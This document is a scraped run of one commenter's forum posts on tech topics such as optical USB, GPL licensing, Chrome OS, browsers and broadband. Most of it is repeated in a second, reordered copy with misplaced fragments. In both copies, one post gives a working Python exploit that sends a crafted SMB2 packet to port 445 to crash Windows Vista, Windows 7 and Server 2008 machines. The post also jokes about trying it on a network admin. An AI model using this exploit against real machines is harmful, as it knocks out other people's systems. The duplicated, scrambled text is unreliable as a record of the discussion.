From the screens on the site it looks like the author does not value Windows very much (the screens are done on Linux).
If you want him to do development for the Windows platform, then you will have to ask nicely with some motivational argument (ask him how much he wants for making it work on the Windows platform, pay half in advance).
USB now a days is often used to charge devices too, which is not possible with these optical interfaces. Because of this, I don't think this will have much future for portable devices, so nice try, but I'm not buying it.
I don't know where you come from, but the typical users I encounter manage to put all what you listed on their desktop.
They tend to absolutely resist to learn more then the minimal basics, no matter how easy or accessible you make the UI.
Guess it's the 7 things rule: people can remember about 7 things at once / put them in context. Everything else is logical abstraction and training, and most users are not capable of the first and very reluctant to the second.
People should be able to release code they wrote with whatever conditions they like. And hey, it's the case (for once something positive).
There is a reason why GPL is so successful and there is so little Public Domain code. The GPL isn't terribly difficult to understand, as it simply says: sure, take this code for free, improve it, but the price is that you redistribute your changes with the same conditions.
If you don't like this kind of license, then simply don't use GPL'd code. Use something like BSD licensed code, like Apple did with OS X.
Watching the short video the only two things that seem to be new are:
* the optocouplers got much smaller * they also got a lot cheaper to manufacture
Basically means, that these things could be embedded in usb sized connectors and sold for an affordable price. What they did not explain is how they want to circumvent user habit of cable folding. Optical cables tend to be quite sensitive to this.
Cute, you are trying to pull an common didactic trick by sidestepping the issue with overexerting another. I know grade schoolers like to do it:
Kid: I don't want to do my homework, it's so stupid. Parent: For the last time kid, do your homework! Kid: You know that hurricane Jane killed 5000 people yesterday on the west cost? And you are upset about some measly homework? How can you, there are so many worse problems on the world. Parent: [...]
"I would say it's reasonable to be a little bit discouraged there and from my point of view, it's not right to be seriously discouraged," he said. "There isn't enough investment going into the early stages of investment pipeline before the venture funds come into the play."
The U.S. government needs to provide more funds to develop ideas at the laboratory stage, he said.
"I'd like to see $20 billion or $30 billion for 10 yrs (for the sector)," Weihl said. "That would be fabulous. It's pretty clear what we have seen isn't enough."
Seems like Google would like to externalize the investments, which will benefit them on the long run to tax payers. Wonder how the summary could forget such a minor detail?
I'm sure this is a nice thing for some selected folks (mostly geeks) who know:
1, What security is. 2, How to use it.
For the rest (99.9+%) of the facebook / twitter crowd this will mean nothing, because they can't even understand the first concept, let alone the second..
Vulnerable systems are all with SMB2 drivers: Vista, W7 and probably Server 2008
The exploit (which is actually ridiculously simple) goes as follows:
#!/usr/bin/python # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep
host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: -->:) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
Current problem solution: disable the SMB protocol on your infrastructure..
Now please excuse me, I have go and play a bit with our network admin../joke
I learned 2 different touch typing systems so far (QWERTY and Dvorak). Why?, because I'm unbelievably lazy. QWERTY was the obvious first choice, Dvorak was the improvement on it as I had to put in even less effort for typing after I learned it.
Oh, and by the way, no school thought me this back then. I so dream of the day when schools start to do comprehensive education for life, but I guess that won't ever happen.
Anyway, I'll never understand people, who sit in front of a screen 8 hours a day and use the 2 finger search system for typing. Seems so infinitely more work intensive. But non adaptive people still love to it.
Browser requirement checklist:
* Comes with the distribution repositories and is stable, maintainable and patched
* Has effective script control (white-listing, base-domain)
* Has effective ad blocking capability
* Does surf the web and performs adequately on my system
When the browsers have a check for all these features, than I will start to even consider these performance tests. Until then, there is not much choice except Firefox, ergo this is a complete waste of time.
So if the bandwitch rates drop below VoIP and Video streaming and they still call it "Broadband", then I can give a prognosis for the next 20 years: 56k users, be glad, you won't have that for long.
Seriously, countries like Japan have 100Mbit access on avarage, and the US is struggling with 28 Mbps and it gets' lover?
I own an N800 and this thing is a huge improvement compared to it and the N810. The keyboard is not new, but there are features that are just making this thing right:
1., It's a phone. How much I which the N800 would have that. It's an actual phone! 2., They added a very good camera, but no video conferencing, which is smart. Skype video conferencing still does not work on Linux (yay, closed source software) and the early tries to make video conferencing work just went horribly wrong (they closed the video conferencing portal for the N800 series, the camera became quite useless). I can just guess, that in reality nobody wants video conferencing. (bring, bring: yea, what's up? Answer: Gosh, you look like shit today..) 3., Massively more storage and battery life.
Added with what was there earlier (Maemo Linux) this thing is quite impressive, and could in fact become a disruptive peace of technology in the market, especially if you consider that it is not monopoly chained to one phone service provider. Finally some real competition.
Despite the video being very very dry, there was an interesting link in the middle of the presentation: http://downloadstats.mozilla.com/
That site features real time download statistics for FF3.5. The interesting part is, that the map at the top is rendered in real SVG combined with canvas (for the dots).
About this flash based library: it's strange. At the demo page the native rendering of SVG failed and only the flash version worked on my FF 3.0.x.. Not a problem with my browser though, as the site I mentioned at the top as well as Wikipedia SVG's work fine. Something is not right with this library, but interesting non the less.
You could also give it to some trainee employees with the same tool, works like a charm. Eventually you can also hover above the exposed platters with a strong magnet, just to be sure. (Yes, I witnessed this, lot's of fun).
For folks that want to destroy huge number of HDD's on a regular basis, just get a proper degausser as those do not cost a fortune and get the job done well, without doubt. You may even be able to reuse the drives afterwards.
This sounds like they had done something innovative in the past. If you really believe that, than please enlighten me of what that might have been. I'm dying to know.
Copying from others, repackaging it in a user friendly manner and subversively bringing OEM's to install it on all new machines does not count. I mean something technical in their core business.
1. Chrome OS is basically a POSIX/SUSv3/UNIX compliant OS (that's what Linux that it's kernel is mostly about (read Advanced Programming in the UNIX Environment, SE, Adison-Wesley, ISBN 0-201-43307-9) with a new graphics API, windowing system and some other tweaks. I did not want to imply that they adopt to Chrome OS. I was trying to imply that they will have to adopt to some (open) standards. (I think closed standards are backwards, kind of an oxymoron).
2. You are right, my grammar for that word was bad. I'm not a native English speaker, still trying to do my best to get it right. It seems that you understood the essence of what I was trying to say, so I get a C-? Anyway, sorry for the error, I'm still a human.
3. No, I don't want to imply that POSIX/SUSv3/UNIX is the be all end all of things, there is just nothing better to date. I would love for a well thought out standard that would surpass it, but it is very unlikely to happen any-time soon (in the next few decades), as it would need a hell of a lot work -- and an even (proportionally) more political arguing, which is a dead end now a days.
Guess the expression is a bit too hard. Google in this case has the same view as the Linux community: make operating systems better (and if Windows can't adopt, they will see a slow and steady decline - well, maybe a bit faster than now).
Google's core market are web applications, and they figured they could get a lot of support by doing the right thing and improve on an existing platform.
Currently - out of the perspective of commercial entities - Linux has 3 main problems: minor market penetration, lacks a coherent graphics API/environment/spec./SDK and it is hard to deploy packages that are fully or partly closed source.
If Google improves these aspects and packages it in an easy to use system (for everybody - which means the system has defaults that decide a standard environment for the user without the need to use a command line for basic tasks while keeping power underneath to please devs.), than they will gain a lot of independence for their core market.
They figured that developing a system from scratch is not that simple (cheap), and that an active developer base is very valuable, so it's a good way way to build on the Linux platform.
Anyway, as long as Google plays the right cards this has some interesting potential to catalyse the disruptive technology that Linux/OSS represents.
I have to get some popcorn now.
ps: The key is still the OEM market, and I'm very curious how the battles on that field will be fought.
Ignoring your number for a moment and asserting they are right,
the current user base are technically inclined folks (you have to make some effort to get it before official release) who manage to avoid specific bugs that will show up when millions of monkeys start to bash the system (OEM's install and sell it to regular Joe/Jane).
You really want to imply that those two testing environments have anything to do with each other?
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From the screens on the site it looks like the author does not value Windows very much (the screens are done on Linux).
If you want him to do development for the Windows platform, then you will have to ask nicely with some motivational argument (ask him how much he wants for making it work on the Windows platform, pay half in advance).
USB now a days is often used to charge devices too, which is not possible with these optical interfaces. Because of this, I don't think this will have much future for portable devices, so nice try, but I'm not buying it.
"Surprisingly, the white ice may be made from 99 percent pure water."
What kind of scientific statement is that. I may be?
Sure, I also could be white paint, or sugar for that matter. Or may be it's made of pure water? Hm, who knows..
I don't know where you come from, but the typical users I encounter manage to put all what you listed on their desktop.
They tend to absolutely resist to learn more then the minimal basics, no matter how easy or accessible you make the UI.
Guess it's the 7 things rule: people can remember about 7 things at once / put them in context. Everything else is logical abstraction and training, and most users are not capable of the first and very reluctant to the second.
Then
Cluttered browser window + desirable plug-in == Wiki nonsense?
Oh, wait.. damn it..
People should be able to release code they wrote with whatever conditions they like. And hey, it's the case (for once something positive).
There is a reason why GPL is so successful and there is so little Public Domain code. The GPL isn't terribly difficult to understand, as it simply says: sure, take this code for free, improve it, but the price is that you redistribute your changes with the same conditions.
If you don't like this kind of license, then simply don't use GPL'd code. Use something like BSD licensed code, like Apple did with OS X.
This is not rocket science.
Watching the short video the only two things that seem to be new are:
* the optocouplers got much smaller
* they also got a lot cheaper to manufacture
Basically means, that these things could be embedded in usb sized connectors and sold for an affordable price. What they did not explain is how they want to circumvent user habit of cable folding. Optical cables tend to be quite sensitive to this.
Cute, you are trying to pull an common didactic trick by sidestepping the issue with overexerting another. I know grade schoolers like to do it:
Kid: I don't want to do my homework, it's so stupid.
Parent: For the last time kid, do your homework!
Kid: You know that hurricane Jane killed 5000 people yesterday on the west cost? And you are upset about some measly homework? How can you, there are so many worse problems on the world.
Parent: [...]
Now who the hell modded parent up?
Oh, you mean like this from Novell http://www.youtube.com/watch?v=GVOnFdMf0RU or this http://www.youtube.com/watch?v=rtp5gNhBZgo ?
I personally prefer this IBM ad though: http://www.youtube.com/watch?v=EwL0G9wK8j4
Seems like Google would like to externalize the investments, which will benefit them on the long run to tax payers. Wonder how the summary could forget such a minor detail?
I'm sure this is a nice thing for some selected folks (mostly geeks) who know:
1, What security is.
2, How to use it.
For the rest (99.9+%) of the facebook / twitter crowd this will mean nothing, because they can't even understand the first concept, let alone the second..
Vulnerable systems are all with SMB2 drivers: Vista, W7 and probably Server 2008
:) normal value should be "\x00\x00"
/joke
The exploit (which is actually ridiculously simple) goes as follows:
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Current problem solution: disable the SMB protocol on your infrastructure..
Now please excuse me, I have go and play a bit with our network admin..
I learned 2 different touch typing systems so far (QWERTY and Dvorak). Why?, because I'm unbelievably lazy. QWERTY was the obvious first choice, Dvorak was the improvement on it as I had to put in even less effort for typing after I learned it.
Oh, and by the way, no school thought me this back then. I so dream of the day when schools start to do comprehensive education for life, but I guess that won't ever happen.
Anyway, I'll never understand people, who sit in front of a screen 8 hours a day and use the 2 finger search system for typing. Seems so infinitely more work intensive. But non adaptive people still love to it.
Browser requirement checklist:
* Comes with the distribution repositories and is stable, maintainable and patched
* Has effective script control (white-listing, base-domain)
* Has effective ad blocking capability
* Does surf the web and performs adequately on my system
When the browsers have a check for all these features, than I will start to even consider these performance tests. Until then, there is not much choice except Firefox, ergo this is a complete waste of time.
/ 2ct
So if the bandwitch rates drop below VoIP and Video streaming and they still call it "Broadband", then I can give a prognosis for the next 20 years: 56k users, be glad, you won't have that for long.
Seriously, countries like Japan have 100Mbit access on avarage, and the US is struggling with 28 Mbps and it gets' lover?
Man, I'm so happy to not be a US citizen.
Not exactly sure, but this might be a clue: http://www.youtube.com/watch?v=c3FZtmlHwcA ..
I own an N800 and this thing is a huge improvement compared to it and the N810. The keyboard is not new, but there are features that are just making this thing right:
1., It's a phone. How much I which the N800 would have that. It's an actual phone!
2., They added a very good camera, but no video conferencing, which is smart. Skype video conferencing still does not work on Linux (yay, closed source software) and the early tries to make video conferencing work just went horribly wrong (they closed the video conferencing portal for the N800 series, the camera became quite useless). I can just guess, that in reality nobody wants video conferencing. (bring, bring: yea, what's up? Answer: Gosh, you look like shit today..)
3., Massively more storage and battery life.
Added with what was there earlier (Maemo Linux) this thing is quite impressive, and could in fact become a disruptive peace of technology in the market, especially if you consider that it is not monopoly chained to one phone service provider. Finally some real competition.
*takes out popcorn*
Despite the video being very very dry, there was an interesting link in the middle of the presentation: http://downloadstats.mozilla.com/
That site features real time download statistics for FF3.5. The interesting part is, that the map at the top is rendered in real SVG combined with canvas (for the dots).
About this flash based library: it's strange. At the demo page the native rendering of SVG failed and only the flash version worked on my FF 3.0.x.. Not a problem with my browser though, as the site I mentioned at the top as well as Wikipedia SVG's work fine. Something is not right with this library, but interesting non the less.
You could also give it to some trainee employees with the same tool, works like a charm. Eventually you can also hover above the exposed platters with a strong magnet, just to be sure. (Yes, I witnessed this, lot's of fun).
For folks that want to destroy huge number of HDD's on a regular basis, just get a proper degausser as those do not cost a fortune and get the job done well, without doubt. You may even be able to reuse the drives afterwards.
Oh noes, how could they!
This will put a serious dent in their excellent credibility track record..
This sounds like they had done something innovative in the past. If you really believe that, than please enlighten me of what that might have been. I'm dying to know.
Copying from others, repackaging it in a user friendly manner and subversively bringing OEM's to install it on all new machines does not count. I mean something technical in their core business.
Ok, I can fathom that maths people will like this service.
I can understand it (you guessed it, I love vim), but I wonder if the general public will get the excitement about this amazing new service..
Anyway, it sure will have it's solid audience in the maths nerd society, so don't interpret my words as ironic (or even cynic).
1. Chrome OS is basically a POSIX/SUSv3/UNIX compliant OS (that's what Linux that it's kernel is mostly about (read Advanced Programming in the UNIX Environment, SE, Adison-Wesley, ISBN 0-201-43307-9) with a new graphics API, windowing system and some other tweaks. I did not want to imply that they adopt to Chrome OS. I was trying to imply that they will have to adopt to some (open) standards. (I think closed standards are backwards, kind of an oxymoron).
2. You are right, my grammar for that word was bad. I'm not a native English speaker, still trying to do my best to get it right. It seems that you understood the essence of what I was trying to say, so I get a C-? Anyway, sorry for the error, I'm still a human.
3. No, I don't want to imply that POSIX/SUSv3/UNIX is the be all end all of things, there is just nothing better to date. I would love for a well thought out standard that would surpass it, but it is very unlikely to happen any-time soon (in the next few decades), as it would need a hell of a lot work -- and an even (proportionally) more political arguing, which is a dead end now a days.
Guess the expression is a bit too hard. Google in this case has the same view as the Linux community: make operating systems better (and if Windows can't adopt, they will see a slow and steady decline - well, maybe a bit faster than now).
Google's core market are web applications, and they figured they could get a lot of support by doing the right thing and improve on an existing platform.
Currently - out of the perspective of commercial entities - Linux has 3 main problems: minor market penetration, lacks a coherent graphics API/environment/spec./SDK and it is hard to deploy packages that are fully or partly closed source.
If Google improves these aspects and packages it in an easy to use system (for everybody - which means the system has defaults that decide a standard environment for the user without the need to use a command line for basic tasks while keeping power underneath to please devs.), than they will gain a lot of independence for their core market.
They figured that developing a system from scratch is not that simple (cheap), and that an active developer base is very valuable, so it's a good way way to build on the Linux platform.
Anyway, as long as Google plays the right cards this has some interesting potential to catalyse the disruptive technology that Linux/OSS represents.
I have to get some popcorn now.
ps: The key is still the OEM market, and I'm very curious how the battles on that field will be fought.
Ignoring your number for a moment and asserting they are right,
the current user base are technically inclined folks (you have to make some effort to get it before official release) who manage to avoid specific bugs that will show up when millions of monkeys start to bash the system (OEM's install and sell it to regular Joe/Jane).
You really want to imply that those two testing environments have anything to do with each other?